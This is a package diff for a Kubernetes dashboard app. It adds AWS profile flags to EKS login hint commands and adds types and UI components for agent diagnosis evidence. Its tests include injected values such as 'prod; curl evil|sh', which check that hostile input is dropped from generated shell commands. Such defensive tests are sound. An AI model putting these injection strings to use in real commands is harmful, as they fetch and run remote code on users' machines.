@skyhook-io/radar-app 1.13.4 → 1.13.5
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/package.json +1 -1
- package/src/RadarApp.tsx +5 -0
- package/src/api/client.ts +4 -0
- package/src/api/diagnose.ts +61 -15
- package/src/components/ConnectionErrorView.test.tsx +30 -0
- package/src/components/ConnectionErrorView.tsx +31 -19
- package/src/components/diagnose/AgentCase.tsx +131 -0
- package/src/components/diagnose/DiagnoseSurface.test.tsx +0 -20
- package/src/components/diagnose/DiagnoseSurface.tsx +32 -195
- package/src/components/diagnose/InvestigationEvidencePane.test.tsx +783 -7
- package/src/components/diagnose/InvestigationEvidencePane.tsx +774 -133
- package/src/components/diagnose/InvestigationView.tsx +222 -5
- package/src/components/diagnose/diagnoseEvidenceTypes.ts +22 -1
- package/src/components/diagnose/investigationCase.test.tsx +1568 -0
- package/src/components/diagnose/investigationCase.ts +439 -0
- package/src/components/diagnose/investigationEvidence.test.ts +1566 -151
- package/src/components/diagnose/investigationEvidence.ts +831 -43
- package/src/components/diagnose/investigationEvidenceKinds.ts +218 -0
- package/src/components/diagnose/investigationEvidencePresentation.test.ts +31 -0
- package/src/components/diagnose/investigationEvidencePresentation.ts +1 -0
- package/src/components/diagnose/investigationMetrics.test.ts +712 -0
- package/src/components/diagnose/investigationMetrics.ts +393 -0
- package/src/components/diagnose/investigationSourceFocus.ts +2 -0
- package/src/components/diagnose/investigationState.test.ts +322 -0
- package/src/components/diagnose/investigationState.ts +147 -25
- package/src/components/diagnose/parts.test.tsx +482 -0
- package/src/components/diagnose/parts.tsx +418 -41
- package/src/components/resource/PrometheusChartsGrid.tsx +181 -79
- package/src/components/resources/PodFilePreview.test.tsx +131 -0
- package/src/components/resources/PodFilePreview.tsx +394 -0
- package/src/components/resources/PodFilesystemModal.tsx +157 -67
- package/src/context/DiagnoseCustomization.test.tsx +26 -0
- package/src/context/DiagnoseCustomization.tsx +14 -2
- package/src/index.ts +1 -0
- package/src/utils/shell-safe.test.ts +25 -1
- package/src/utils/shell-safe.ts +16 -0
package/package.json
CHANGED
package/src/RadarApp.tsx
CHANGED
|
@@ -42,6 +42,7 @@ import type { TimelineSourceConfig } from "./api/timelineSource";
|
|
|
42
42
|
import { DiagnoseCustomizationProvider } from "./context/DiagnoseCustomization";
|
|
43
43
|
import type {
|
|
44
44
|
RenderDiagnoseAction,
|
|
45
|
+
RenderInvestigationRunActions,
|
|
45
46
|
DiagnoseConsentCopy,
|
|
46
47
|
} from "./context/DiagnoseCustomization";
|
|
47
48
|
import { defaultDiagnoseAction } from "./components/diagnose/LocalDiagnoseAction";
|
|
@@ -113,6 +114,8 @@ export interface RadarAppProps {
|
|
|
113
114
|
* agent-free. See ./context/DiagnoseCustomization for the render-prop shape.
|
|
114
115
|
*/
|
|
115
116
|
renderDiagnoseAction?: RenderDiagnoseAction;
|
|
117
|
+
/** Host-owned controls for the focused investigation; absent in standalone Radar. */
|
|
118
|
+
renderInvestigationRunActions?: RenderInvestigationRunActions;
|
|
116
119
|
/**
|
|
117
120
|
* Replaces the first-run consent card's trust copy. REQUIRED of any host whose
|
|
118
121
|
* backend runs the agent somewhere other than the user's own machine — the
|
|
@@ -202,6 +205,7 @@ export function RadarApp({
|
|
|
202
205
|
manageDocumentTitle = false,
|
|
203
206
|
documentTitleSuffix,
|
|
204
207
|
renderDiagnoseAction,
|
|
208
|
+
renderInvestigationRunActions,
|
|
205
209
|
diagnoseConsent,
|
|
206
210
|
initialPath,
|
|
207
211
|
onClusterLoadStateChange,
|
|
@@ -234,6 +238,7 @@ export function RadarApp({
|
|
|
234
238
|
<DiagnoseCustomizationProvider
|
|
235
239
|
value={renderDiagnoseAction ?? defaultDiagnoseAction}
|
|
236
240
|
consentCopy={diagnoseConsent}
|
|
241
|
+
renderRunActions={renderInvestigationRunActions}
|
|
237
242
|
>
|
|
238
243
|
<DiagnoseProvider
|
|
239
244
|
browserURLState={router !== "memory"}
|
package/src/api/client.ts
CHANGED
|
@@ -3105,6 +3105,10 @@ export interface PrometheusResourceMetrics {
|
|
|
3105
3105
|
result: PrometheusQueryResult;
|
|
3106
3106
|
query?: string; // PromQL query (included when result is empty, for diagnostics)
|
|
3107
3107
|
hint?: string; // Contextual hint when results are empty (e.g. cri-docker label issues)
|
|
3108
|
+
// Workload kinds only: the pods the chart covers, established by
|
|
3109
|
+
// controller ownership. podsTotal is the full set when the cap cut the list.
|
|
3110
|
+
pods?: number;
|
|
3111
|
+
podsTotal?: number;
|
|
3108
3112
|
}
|
|
3109
3113
|
|
|
3110
3114
|
export type PrometheusMetricCategory =
|
package/src/api/diagnose.ts
CHANGED
|
@@ -52,11 +52,60 @@ export interface RootCauseEvidence {
|
|
|
52
52
|
refs?: string[];
|
|
53
53
|
}
|
|
54
54
|
|
|
55
|
+
/**
|
|
56
|
+
* How the agent frames one cited Radar result. Roles order cards; they never
|
|
57
|
+
* hide one.
|
|
58
|
+
*
|
|
59
|
+
* One half of a Go↔TS contract: `evidenceRoles` in internal/ai/parse.go and
|
|
60
|
+
* EVIDENCE_ROLES in components/diagnose/investigationCase.ts must list exactly
|
|
61
|
+
* these roles. Change all three together.
|
|
62
|
+
*/
|
|
63
|
+
export type DiagnosisEvidenceRole =
|
|
64
|
+
"cause" | "symptom" | "context" | "benign" | "demoted" | "rules_out";
|
|
65
|
+
|
|
66
|
+
/**
|
|
67
|
+
* Which observation inside one tool result a claim is about. Agent text
|
|
68
|
+
* copied verbatim by the server; the UI resolves it against captured evidence
|
|
69
|
+
* and places the claim only on an exact, unique match.
|
|
70
|
+
*/
|
|
71
|
+
export interface DiagnosisEvidenceSubject {
|
|
72
|
+
group?: string;
|
|
73
|
+
kind: string;
|
|
74
|
+
namespace?: string;
|
|
75
|
+
name: string;
|
|
76
|
+
container?: string;
|
|
77
|
+
stream?: "current" | "previous";
|
|
78
|
+
/** Evidence kind (resource, logs, events, changes, metrics, …). */
|
|
79
|
+
observation?: string;
|
|
80
|
+
}
|
|
81
|
+
|
|
82
|
+
/** One server-bound item of the agent's case. Unlinked items are never rendered. */
|
|
83
|
+
export interface DiagnosisEvidenceItem {
|
|
84
|
+
status: "linked" | "unlinked";
|
|
85
|
+
ref?: string;
|
|
86
|
+
role?: DiagnosisEvidenceRole;
|
|
87
|
+
claim?: string;
|
|
88
|
+
subject?: DiagnosisEvidenceSubject;
|
|
89
|
+
}
|
|
90
|
+
|
|
91
|
+
export interface DiagnosisRuledOut {
|
|
92
|
+
hypothesis: string;
|
|
93
|
+
/** Index into Diagnosis.evidence of the item whose result contradicted it. */
|
|
94
|
+
evidenceIndex: number;
|
|
95
|
+
}
|
|
96
|
+
|
|
55
97
|
export interface Diagnosis {
|
|
56
98
|
healthy?: boolean;
|
|
57
99
|
inconclusive?: boolean; // investigated but couldn't determine — distinct from healthy
|
|
58
100
|
rootCause: string;
|
|
59
101
|
rootCauseEvidence?: RootCauseEvidence;
|
|
102
|
+
/** The agent's case over Radar's evidence; absent from hosted backends and older runs. */
|
|
103
|
+
evidence?: DiagnosisEvidenceItem[];
|
|
104
|
+
/** How many of the agent's evidence entries never reached the UI, including ones cut before they got a slot in `evidence`. */
|
|
105
|
+
unlinkedEvidence?: number;
|
|
106
|
+
/** The agent's evidence field was not a list, so none of it could be read. */
|
|
107
|
+
evidenceMalformed?: boolean;
|
|
108
|
+
ruledOut?: DiagnosisRuledOut[];
|
|
60
109
|
report: string;
|
|
61
110
|
remediation: string[];
|
|
62
111
|
recommendedIndex?: number; // 1-based index into remediation of the step Apply performs
|
|
@@ -87,6 +136,13 @@ export interface ResourceHealthSignal {
|
|
|
87
136
|
|
|
88
137
|
export type ApplyMutationOutcome = "confirmed" | "failed" | "unknown";
|
|
89
138
|
|
|
139
|
+
// One MCP server's connection state as the agent CLI reported it at startup.
|
|
140
|
+
// Only "connected" means its tools are usable.
|
|
141
|
+
export interface MCPServerStatus {
|
|
142
|
+
name: string;
|
|
143
|
+
status: string;
|
|
144
|
+
}
|
|
145
|
+
|
|
90
146
|
export interface DiagnoseStreamEvent {
|
|
91
147
|
type:
|
|
92
148
|
| "turn"
|
|
@@ -98,7 +154,11 @@ export interface DiagnoseStreamEvent {
|
|
|
98
154
|
| "closed"
|
|
99
155
|
| "history_unavailable"
|
|
100
156
|
| "replay_complete";
|
|
101
|
-
phase?: string;
|
|
157
|
+
phase?: string; // "investigating" | "connected" | "ready"
|
|
158
|
+
// Startup facts the agent CLI reported on the "ready" phase.
|
|
159
|
+
model?: string;
|
|
160
|
+
toolCount?: number; // Radar tools the agent registered
|
|
161
|
+
mcpServers?: MCPServerStatus[];
|
|
102
162
|
step?: DiagnoseStep;
|
|
103
163
|
token?: string;
|
|
104
164
|
diagnosis?: Diagnosis;
|
|
@@ -255,20 +315,6 @@ export async function getRun(
|
|
|
255
315
|
return res.json();
|
|
256
316
|
}
|
|
257
317
|
|
|
258
|
-
export async function updateRunVisibility(
|
|
259
|
-
id: string,
|
|
260
|
-
visibility: "private" | "organization",
|
|
261
|
-
): Promise<RunSummary> {
|
|
262
|
-
const res = await fetch(`${RUNS()}/${encodeURIComponent(id)}`, {
|
|
263
|
-
method: "PATCH",
|
|
264
|
-
credentials: getCredentialsMode(),
|
|
265
|
-
headers: { "Content-Type": "application/json", ...getAuthHeaders() },
|
|
266
|
-
body: JSON.stringify({ visibility }),
|
|
267
|
-
});
|
|
268
|
-
if (!res.ok) throw new DiagnoseError(res.status, await errorText(res));
|
|
269
|
-
return res.json();
|
|
270
|
-
}
|
|
271
|
-
|
|
272
318
|
// recordConsent acknowledges the current disclosure for an execution profile, server-side.
|
|
273
319
|
export async function recordConsent(surface: string): Promise<void> {
|
|
274
320
|
const res = await fetch(`${getApiBase()}/diagnose/consent`, {
|
|
@@ -71,6 +71,36 @@ describe('ConnectionErrorView authentication guidance', () => {
|
|
|
71
71
|
expect(hints.fallbackCommand?.command).toBe('aws sso login')
|
|
72
72
|
})
|
|
73
73
|
|
|
74
|
+
it('pins the kubeconfig AWS profile on every EKS command that would otherwise use the ambient one', () => {
|
|
75
|
+
const context = 'arn:aws:eks:us-east-1:123456789012:cluster/prod'
|
|
76
|
+
const profile = 'myorg/prod/admin'
|
|
77
|
+
|
|
78
|
+
const rejected = getAuthRejectedHints(context, profile)
|
|
79
|
+
expect(rejected.fallbackCommand?.command).toBe('aws sso login --profile myorg/prod/admin')
|
|
80
|
+
expect(rejected.authCommand?.command).toBe(
|
|
81
|
+
'aws sts get-caller-identity --profile myorg/prod/admin && aws eks describe-cluster --name prod --region us-east-1 --profile myorg/prod/admin --query cluster.accessConfig.authenticationMode --output text',
|
|
82
|
+
)
|
|
83
|
+
expect(rejected.hints.join(' ')).not.toContain("terminal's current AWS profile")
|
|
84
|
+
|
|
85
|
+
const auth = selectConnectionHints('auth', context, undefined, profile)
|
|
86
|
+
expect(auth?.authCommand?.command).toBe('aws sso login --profile myorg/prod/admin')
|
|
87
|
+
expect(auth?.fallbackCommand?.command).toBe('aws eks update-kubeconfig --name prod --region us-east-1 --profile myorg/prod/admin')
|
|
88
|
+
|
|
89
|
+
const timeout = selectConnectionHints('timeout', context, undefined, profile)
|
|
90
|
+
expect(timeout?.authCommand?.command).toBe('aws sso login --profile myorg/prod/admin')
|
|
91
|
+
expect(timeout?.fallbackCommand?.command).toBe('aws eks update-kubeconfig --name prod --region us-east-1 --profile myorg/prod/admin')
|
|
92
|
+
})
|
|
93
|
+
|
|
94
|
+
it('drops a hostile AWS profile instead of interpolating it', () => {
|
|
95
|
+
const context = 'arn:aws:eks:us-east-1:123456789012:cluster/prod'
|
|
96
|
+
const hints = getAuthRejectedHints(context, 'prod; curl evil|sh')
|
|
97
|
+
|
|
98
|
+
expect(hints.fallbackCommand?.command).toBe('aws sso login')
|
|
99
|
+
expect(hints.authCommand?.command).toBe(
|
|
100
|
+
'aws sts get-caller-identity && aws eks describe-cluster --name prod --region us-east-1 --query cluster.accessConfig.authenticationMode --output text',
|
|
101
|
+
)
|
|
102
|
+
})
|
|
103
|
+
|
|
74
104
|
it('does not offer interpolated commands for hostile GKE context values', () => {
|
|
75
105
|
const hints = getAuthRejectedHints('gke_project_us-east1_prod;curl evil|sh')
|
|
76
106
|
|
|
@@ -6,7 +6,7 @@ import { parseContextName } from '../utils/context-name'
|
|
|
6
6
|
import { useOpenLocalTerminal, ClusterName } from '@skyhook-io/k8s-ui'
|
|
7
7
|
import { useAuthMe, useContexts } from '../api/client'
|
|
8
8
|
import { Tooltip } from './ui/Tooltip'
|
|
9
|
-
import { allShellSafe } from '../utils/shell-safe'
|
|
9
|
+
import { allShellSafe, awsProfileFlag } from '../utils/shell-safe'
|
|
10
10
|
import { apiUrl } from '../api/config'
|
|
11
11
|
import { useCapabilitiesContext } from '../contexts/CapabilitiesContext'
|
|
12
12
|
|
|
@@ -33,7 +33,7 @@ interface AuthHints {
|
|
|
33
33
|
hideAuthButton?: boolean
|
|
34
34
|
}
|
|
35
35
|
|
|
36
|
-
function getAuthHints(context: string): AuthHints {
|
|
36
|
+
function getAuthHints(context: string, awsProfile?: string): AuthHints {
|
|
37
37
|
const parsed = parseContextName(context)
|
|
38
38
|
|
|
39
39
|
switch (parsed.provider) {
|
|
@@ -54,18 +54,19 @@ function getAuthHints(context: string): AuthHints {
|
|
|
54
54
|
return result
|
|
55
55
|
}
|
|
56
56
|
case 'EKS': {
|
|
57
|
+
const profileFlag = awsProfileFlag(awsProfile)
|
|
57
58
|
const result: AuthHints = {
|
|
58
59
|
title: 'EKS Authentication Failed',
|
|
59
60
|
hints: [
|
|
60
61
|
'Radar could not get AWS credentials for this context.',
|
|
61
62
|
'For AWS SSO contexts, the SSO session may need login.',
|
|
62
63
|
],
|
|
63
|
-
authCommand: { label: 'If this context uses AWS SSO, refresh credentials:', command:
|
|
64
|
+
authCommand: { label: 'If this context uses AWS SSO, refresh credentials:', command: `aws sso login${profileFlag}` },
|
|
64
65
|
}
|
|
65
66
|
if (parsed.region && allShellSafe(parsed.clusterName, parsed.region)) {
|
|
66
67
|
result.fallbackCommand = {
|
|
67
68
|
label: 'If that doesn\'t work, refresh cluster credentials:',
|
|
68
|
-
command: `aws eks update-kubeconfig --name ${parsed.clusterName} --region ${parsed.region}`,
|
|
69
|
+
command: `aws eks update-kubeconfig --name ${parsed.clusterName} --region ${parsed.region}${profileFlag}`,
|
|
69
70
|
}
|
|
70
71
|
}
|
|
71
72
|
return result
|
|
@@ -88,26 +89,34 @@ function getAuthHints(context: string): AuthHints {
|
|
|
88
89
|
}
|
|
89
90
|
}
|
|
90
91
|
|
|
91
|
-
export function getAuthRejectedHints(context: string): AuthHints {
|
|
92
|
+
export function getAuthRejectedHints(context: string, awsProfile?: string): AuthHints {
|
|
92
93
|
const parsed = parseContextName(context)
|
|
93
94
|
|
|
94
95
|
switch (parsed.provider) {
|
|
95
96
|
case 'EKS': {
|
|
97
|
+
const profileFlag = awsProfileFlag(awsProfile)
|
|
96
98
|
const result: AuthHints = {
|
|
97
99
|
title: 'EKS Could Not Authenticate This Request',
|
|
98
100
|
hints: [
|
|
99
101
|
'EKS returned HTTP 401, so Kubernetes could not authenticate this request.',
|
|
100
102
|
'The AWS credential may be missing, stale, or revoked, or its IAM principal may not be mapped through an EKS access entry or the cluster\'s legacy aws-auth configuration.',
|
|
101
103
|
'If the credential is current, ask a cluster admin to verify the mapping for the IAM principal used by this context.',
|
|
102
|
-
|
|
104
|
+
profileFlag
|
|
105
|
+
? 'The commands below use the AWS profile pinned by this context\'s kubeconfig exec block. If it also pins --role-arn, inspect that role instead.'
|
|
106
|
+
: 'The diagnostic uses the terminal\'s current AWS profile. If the kubeconfig exec block pins AWS_PROFILE or --role-arn, use that profile or role instead.',
|
|
103
107
|
'API and API_AND_CONFIG_MAP modes use access entries; CONFIG_MAP mode uses the aws-auth ConfigMap.',
|
|
104
108
|
],
|
|
105
|
-
fallbackCommand: {
|
|
109
|
+
fallbackCommand: {
|
|
110
|
+
label: profileFlag ? 'If this profile uses AWS SSO, re-login and retry:' : 'If this context uses the current AWS SSO profile, re-login and retry:',
|
|
111
|
+
command: `aws sso login${profileFlag}`,
|
|
112
|
+
},
|
|
106
113
|
}
|
|
107
114
|
if (parsed.region && allShellSafe(parsed.clusterName, parsed.region)) {
|
|
108
115
|
result.authCommand = {
|
|
109
|
-
label:
|
|
110
|
-
|
|
116
|
+
label: profileFlag
|
|
117
|
+
? 'Inspect the caller and authentication mode for the pinned AWS profile:'
|
|
118
|
+
: 'Inspect the caller and authentication mode for the current terminal AWS profile:',
|
|
119
|
+
command: `aws sts get-caller-identity${profileFlag} && aws eks describe-cluster --name ${parsed.clusterName} --region ${parsed.region}${profileFlag} --query cluster.accessConfig.authenticationMode --output text`,
|
|
111
120
|
}
|
|
112
121
|
// A diagnostic, not a re-auth — the "Authenticate in terminal" button
|
|
113
122
|
// would misrepresent what running it does.
|
|
@@ -167,7 +176,7 @@ function getAuthPluginStuckHints(): AuthHints {
|
|
|
167
176
|
}
|
|
168
177
|
}
|
|
169
178
|
|
|
170
|
-
function getTimeoutHints(context: string): AuthHints | null {
|
|
179
|
+
function getTimeoutHints(context: string, awsProfile?: string): AuthHints | null {
|
|
171
180
|
const parsed = parseContextName(context)
|
|
172
181
|
const baseHints = [
|
|
173
182
|
'The Kubernetes API did not respond before the deadline.',
|
|
@@ -192,15 +201,16 @@ function getTimeoutHints(context: string): AuthHints | null {
|
|
|
192
201
|
return result
|
|
193
202
|
}
|
|
194
203
|
case 'EKS': {
|
|
204
|
+
const profileFlag = awsProfileFlag(awsProfile)
|
|
195
205
|
const result: AuthHints = {
|
|
196
206
|
title: 'Connection Timed Out',
|
|
197
207
|
hints: [...baseHints, 'If the endpoint is reachable, AWS credentials or SSO may need refresh.'],
|
|
198
|
-
authCommand: { label: 'If this context uses AWS SSO and network access looks healthy, refresh credentials:', command:
|
|
208
|
+
authCommand: { label: 'If this context uses AWS SSO and network access looks healthy, refresh credentials:', command: `aws sso login${profileFlag}` },
|
|
199
209
|
}
|
|
200
210
|
if (parsed.region && allShellSafe(parsed.clusterName, parsed.region)) {
|
|
201
211
|
result.fallbackCommand = {
|
|
202
212
|
label: 'If that does not work, refresh cluster credentials:',
|
|
203
|
-
command: `aws eks update-kubeconfig --name ${parsed.clusterName} --region ${parsed.region}`,
|
|
213
|
+
command: `aws eks update-kubeconfig --name ${parsed.clusterName} --region ${parsed.region}${profileFlag}`,
|
|
204
214
|
}
|
|
205
215
|
}
|
|
206
216
|
return result
|
|
@@ -322,17 +332,17 @@ export function CopyableCommand({ command, onRunInTerminal }: { command: string;
|
|
|
322
332
|
)
|
|
323
333
|
}
|
|
324
334
|
|
|
325
|
-
export function selectConnectionHints(errorType: string | undefined, context: string, originalContext?: string): AuthHints | null {
|
|
335
|
+
export function selectConnectionHints(errorType: string | undefined, context: string, originalContext?: string, awsProfile?: string): AuthHints | null {
|
|
326
336
|
const parsedContext = originalContext || context
|
|
327
337
|
switch (errorType) {
|
|
328
338
|
case 'auth':
|
|
329
|
-
return getAuthHints(parsedContext)
|
|
339
|
+
return getAuthHints(parsedContext, awsProfile)
|
|
330
340
|
case 'auth-rejected':
|
|
331
|
-
return getAuthRejectedHints(parsedContext)
|
|
341
|
+
return getAuthRejectedHints(parsedContext, awsProfile)
|
|
332
342
|
case 'auth-plugin-stuck':
|
|
333
343
|
return getAuthPluginStuckHints()
|
|
334
344
|
case 'timeout':
|
|
335
|
-
return getTimeoutHints(parsedContext)
|
|
345
|
+
return getTimeoutHints(parsedContext, awsProfile)
|
|
336
346
|
default:
|
|
337
347
|
return null
|
|
338
348
|
}
|
|
@@ -344,9 +354,11 @@ export function ConnectionErrorView({ connection, onRetry, isRetrying }: Connect
|
|
|
344
354
|
const isAuthRejected = connection.errorType === 'auth-rejected'
|
|
345
355
|
const isAuthPluginStuck = connection.errorType === 'auth-plugin-stuck'
|
|
346
356
|
const isAuthError = isAuth || isAuthRejected || isAuthPluginStuck
|
|
347
|
-
const { data: contexts } = useContexts()
|
|
348
|
-
const
|
|
349
|
-
const
|
|
357
|
+
const { data: contexts, isLoading: contextsLoading } = useContexts()
|
|
358
|
+
const matchedContext = contexts?.find((context) => context.name === connection.context)
|
|
359
|
+
const originalContext = matchedContext?.originalName
|
|
360
|
+
const awsProfile = contextsLoading ? undefined : matchedContext?.awsProfile
|
|
361
|
+
const commandInfo = selectConnectionHints(connection.errorType, connection.context || '', originalContext, awsProfile)
|
|
350
362
|
const errorInfo = commandInfo || errorHints[connection.errorType || 'unknown'] || errorHints.unknown
|
|
351
363
|
const openLocalTerminal = useOpenLocalTerminal()
|
|
352
364
|
const { data: authMe } = useAuthMe()
|
|
@@ -0,0 +1,131 @@
|
|
|
1
|
+
import { clsx } from "clsx";
|
|
2
|
+
import { Sparkles } from "lucide-react";
|
|
3
|
+
import { Badge } from "@skyhook-io/k8s-ui";
|
|
4
|
+
|
|
5
|
+
import type { DiagnosisEvidenceRole } from "../../api/diagnose";
|
|
6
|
+
import { Tooltip } from "../ui/Tooltip";
|
|
7
|
+
|
|
8
|
+
export const AGENT_ROLE_LABELS: Readonly<
|
|
9
|
+
Record<DiagnosisEvidenceRole, string>
|
|
10
|
+
> = {
|
|
11
|
+
cause: "Cause",
|
|
12
|
+
symptom: "Symptom",
|
|
13
|
+
context: "Context",
|
|
14
|
+
benign: "Not a problem",
|
|
15
|
+
demoted: "Less relevant",
|
|
16
|
+
rules_out: "Rules out",
|
|
17
|
+
};
|
|
18
|
+
|
|
19
|
+
/**
|
|
20
|
+
* The agent's framing of a Radar fact. Always the agent tone, never a
|
|
21
|
+
* severity tone: a chip must not read as a Radar finding.
|
|
22
|
+
*/
|
|
23
|
+
export function AgentRoleChip({ role }: { role: DiagnosisEvidenceRole }) {
|
|
24
|
+
return (
|
|
25
|
+
<Tooltip
|
|
26
|
+
content={`The agent labelled this evidence "${AGENT_ROLE_LABELS[role]}". Radar recorded the fact; the label is the agent's reading of it.`}
|
|
27
|
+
// The label has to share the sentence's baseline. Centring the badge box
|
|
28
|
+
// drops it ~1px (padding and border make the box taller than the line),
|
|
29
|
+
// and the badge's own baseline comes from the sparkle, landing 1px high.
|
|
30
|
+
wrapperClassName="shrink-0 align-[-1px]"
|
|
31
|
+
>
|
|
32
|
+
<Badge tone="agent" size="sm">
|
|
33
|
+
<Sparkles className="h-2.5 w-2.5 shrink-0" aria-hidden />
|
|
34
|
+
{AGENT_ROLE_LABELS[role]}
|
|
35
|
+
</Badge>
|
|
36
|
+
</Tooltip>
|
|
37
|
+
);
|
|
38
|
+
}
|
|
39
|
+
|
|
40
|
+
/**
|
|
41
|
+
* One sentence from the agent about a Radar fact. Everything the agent
|
|
42
|
+
* contributed to a card lives in this one row — the sparkle, the role, and the
|
|
43
|
+
* sentence — so the register is unmistakable: the fact above is Radar's, this
|
|
44
|
+
* line is the agent's reading of it. The role travelled with the card title
|
|
45
|
+
* once, where it sat in the same slot as Radar's own badges and could be read
|
|
46
|
+
* as Radar having established it.
|
|
47
|
+
*
|
|
48
|
+
* A `rules_out` note carries the hypothesis it excludes, as text beside the
|
|
49
|
+
* chip rather than inside it: "Rules out" alone forces the reader to find the
|
|
50
|
+
* hypothesis in a block further down and match it back, and a hypothesis long
|
|
51
|
+
* enough to be useful makes a badge that swallows the row.
|
|
52
|
+
*/
|
|
53
|
+
export function AgentClaimNote({
|
|
54
|
+
claim,
|
|
55
|
+
role,
|
|
56
|
+
excludes,
|
|
57
|
+
subject,
|
|
58
|
+
className,
|
|
59
|
+
}: {
|
|
60
|
+
claim: string;
|
|
61
|
+
role?: DiagnosisEvidenceRole;
|
|
62
|
+
/**
|
|
63
|
+
* The hypothesis this item excludes. Rendered only for `rules_out`, where
|
|
64
|
+
* the chip frames it as rejected: a hypothesis is a claim the agent
|
|
65
|
+
* DISPROVED, so on any other card it would read as a statement of fact.
|
|
66
|
+
*/
|
|
67
|
+
excludes?: string;
|
|
68
|
+
/** The observation the note was bound to, when it is not on that card. */
|
|
69
|
+
subject?: string;
|
|
70
|
+
className?: string;
|
|
71
|
+
}) {
|
|
72
|
+
if (!claim && !role) return null;
|
|
73
|
+
return (
|
|
74
|
+
<p
|
|
75
|
+
data-agent-claim
|
|
76
|
+
className={clsx(
|
|
77
|
+
"flex min-w-0 items-start gap-2 border-t border-dashed border-theme-border/70 text-xs leading-relaxed text-theme-text-secondary",
|
|
78
|
+
className,
|
|
79
|
+
)}
|
|
80
|
+
>
|
|
81
|
+
<span className="min-w-0 flex-1 [overflow-wrap:anywhere]">
|
|
82
|
+
{/* The chip and its sparkle carry this visually; the word is what
|
|
83
|
+
survives when colour and iconography do not. "Agent" rather than
|
|
84
|
+
"Agent's note" because a role can arrive with no sentence. */}
|
|
85
|
+
<span className="sr-only">Agent: </span>
|
|
86
|
+
{role ? (
|
|
87
|
+
<>
|
|
88
|
+
<AgentRoleChip role={role} />{" "}
|
|
89
|
+
</>
|
|
90
|
+
) : null}
|
|
91
|
+
{excludes && role === "rules_out" ? (
|
|
92
|
+
<>
|
|
93
|
+
<span className="italic text-theme-text-tertiary">{excludes}</span>
|
|
94
|
+
{" — "}
|
|
95
|
+
</>
|
|
96
|
+
) : null}
|
|
97
|
+
{claim ? (
|
|
98
|
+
<>
|
|
99
|
+
{subject ? (
|
|
100
|
+
<span className="text-theme-text-tertiary">{subject} · </span>
|
|
101
|
+
) : null}
|
|
102
|
+
{renderClaim(claim)}
|
|
103
|
+
</>
|
|
104
|
+
) : null}
|
|
105
|
+
</span>
|
|
106
|
+
</p>
|
|
107
|
+
);
|
|
108
|
+
}
|
|
109
|
+
|
|
110
|
+
/**
|
|
111
|
+
* Claims are one sentence of prose in which the agent marks identifiers with
|
|
112
|
+
* backticks. Only that inline-code span is honoured: a full Markdown render
|
|
113
|
+
* would wrap the sentence in a block and break the shared baseline with the
|
|
114
|
+
* role chip and the lead-in.
|
|
115
|
+
*/
|
|
116
|
+
function renderClaim(claim: string) {
|
|
117
|
+
const parts = claim.split("`");
|
|
118
|
+
if (parts.length < 3) return claim;
|
|
119
|
+
return parts.map((part, i) =>
|
|
120
|
+
i % 2 === 1 && i < parts.length - 1 ? (
|
|
121
|
+
<code
|
|
122
|
+
key={i}
|
|
123
|
+
className="inline-code rounded border border-theme-border/60 bg-theme-base px-1 py-px font-mono text-[11px] font-normal text-theme-text-primary"
|
|
124
|
+
>
|
|
125
|
+
{part}
|
|
126
|
+
</code>
|
|
127
|
+
) : (
|
|
128
|
+
part
|
|
129
|
+
),
|
|
130
|
+
);
|
|
131
|
+
}
|
|
@@ -4,7 +4,6 @@ import {
|
|
|
4
4
|
INVESTIGATION_HISTORY_MIN_WIDTH,
|
|
5
5
|
MAXIMIZED_RUN_META_VISIBILITY_CLASS,
|
|
6
6
|
canRerunInvestigation,
|
|
7
|
-
canCopyRunLink,
|
|
8
7
|
investigationHistoryIsPersistent,
|
|
9
8
|
investigationHeaderPresentation,
|
|
10
9
|
openInvestigationEvidenceResource,
|
|
@@ -337,25 +336,6 @@ describe("canContinueInvestigation", () => {
|
|
|
337
336
|
});
|
|
338
337
|
});
|
|
339
338
|
|
|
340
|
-
describe("canCopyRunLink", () => {
|
|
341
|
-
it("does not expose collaboration UI for an OSS run", () => {
|
|
342
|
-
expect(canCopyRunLink(run("done"))).toBe(false);
|
|
343
|
-
});
|
|
344
|
-
|
|
345
|
-
it("exposes the copy action only for a canonical hosted URL", () => {
|
|
346
|
-
expect(
|
|
347
|
-
canCopyRunLink({
|
|
348
|
-
...run("done"),
|
|
349
|
-
radarUrl: "/c/cluster-1?org=org-1&ai-run=r1",
|
|
350
|
-
}),
|
|
351
|
-
).toBe(true);
|
|
352
|
-
});
|
|
353
|
-
|
|
354
|
-
it("treats an empty hosted URL as unavailable", () => {
|
|
355
|
-
expect(canCopyRunLink({ ...run("done"), radarUrl: "" })).toBe(false);
|
|
356
|
-
});
|
|
357
|
-
});
|
|
358
|
-
|
|
359
339
|
describe("canInvestigateFurther", () => {
|
|
360
340
|
it("offers a context-preserving next step on a completed automatic investigation", () => {
|
|
361
341
|
expect(
|